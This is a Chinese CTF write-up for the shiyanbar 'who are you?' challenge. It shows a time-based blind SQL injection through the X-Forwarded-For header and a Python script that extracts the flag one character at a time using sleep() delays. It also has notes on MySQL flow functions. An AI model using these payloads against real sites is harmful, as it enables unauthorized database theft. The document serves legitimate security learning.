CTF实验吧 who are you?
题目
firefox浏览器
X-Forwarded-For 用浏览器插件Modify Hearers修改
发现IP值变了
基于时间型的SQL盲注,利用X-Forwarded-For注入
手工调试,X-Forwared-For: ” ‘+(select case when ascii(substring((select flag from flag ) from 1 for 1 )) > 99 then sleep(5) else 1 end ) and ‘1’=’1”(为什么不用if流程函数,而用case when then else end 流程函数,原因是网站会截断逗号后的所有字符,有兴趣可以试试)
经过测试,当>98延迟返回,>99不延迟返回,得flag第一个字符的ASCII值为99,即c
参考http://blog.csdn.net/qq_35078631/article/details/54773769
附上python代码运行得到flag
#!/usr/bin/env python
#-*-coding:utf-8-*- #告诉系统使用UTF-8编码,或#coding=utf-8
import requests #引入requests模块
import string #引入string模块
url="http://ctf5.shiyanbar.com/web/wonderkun/index.php" #URL(统一资源定位符)web地址
payload=string.lowercase+string.uppercase+string.digits #小写字母+大写字母+数字
flag="" #字符串
for i in range(1,100): #迭代1到100之间的数字
havetry=0 #赋值
for str in payload: #遍历字符串
headers={"x-forwarded-for":"' +(select case when (substring((select flag from flag ) from %d for 1 )='%s') then sleep(7) else 1 end ) and '1'='1" %(i,str)} #联合查询语句
try: #异常处理,把可能发错的的语句放在try下
res=requests.get(url,headers=headers,timeout=6)#定制请求头和设置超时时间
except requests.exceptions.ReadTimeout, e: #超时错误
havetry=1 # 赋值
flag = flag + str #符合条件的字母存在flag中
print "flag:", flag #打印flag
break #找到第i个字符,退出第二个for循环,开始第一个for循环,找 第i+1个字符
if havetry==0: #当所有字符遍历完,退出第一个for循环结构
break
print 'result:' + flag #程序结束打印flag
运行结果
学习笔记
requests模块
requests.get(url,headers=headers,timeout=”)发送一个get请求设置超时时间
requests.exceptions.ReadTimeout 请求超时错误
参考网址: http://www.cnblogs.com/tangdongchu/p/4229049.html
官 网: http://docs.python-requests.org/en/latest/user/quickstart/
http://docs.python-requests.org/en/latest/api/#requests.ReadTimeout
string模块
string.lowercase小写字母,string.uppercase大写字母,string.digits数字
参考网址:http://blog.csdn.net/jb19900111/article/details/19637421
MySQL支持流程函数
1.IF(value,t,f)
如果value为真,返回t,否则返回f
2.IFNULL(value1,value2)
如果value1不为空返回value1,否则返回value2
3.CASE WHEN [value1] THEN[result1]…ELSE[default] END
如果value1为真,返回result1,否则返回default
4.CASE [expr] WHEN[value1] THEN[result]…ELSE[default] END
如果expr等于value1,返回result,否则返回defalut
5.程序里语句分析
(select case when (substring((select flag from flag ) from %d for 1 )=’%s’) then sleep(7) else 1 end ) and ‘1’=’1” %(i,str)
substring(str,x,y) 返回字符串 str 中从位置起 y 个字符串长度的字符串
%(i,str)python字符串格式化,%d格式化整数,%s格式化字符串
sleep()强制产生一个固定的延迟,类似BENCHMARK(N,expression)
整句意思:从flag表中查询flag第 i 个长度为 1 的字符串与str比较,为真时强制产生7秒延迟否则1秒
try….except….else 语句
将可能出错的语句放入try模块下,except后如果没有指定异常,则会默认所有异常,当没有异常时,执行else后面语句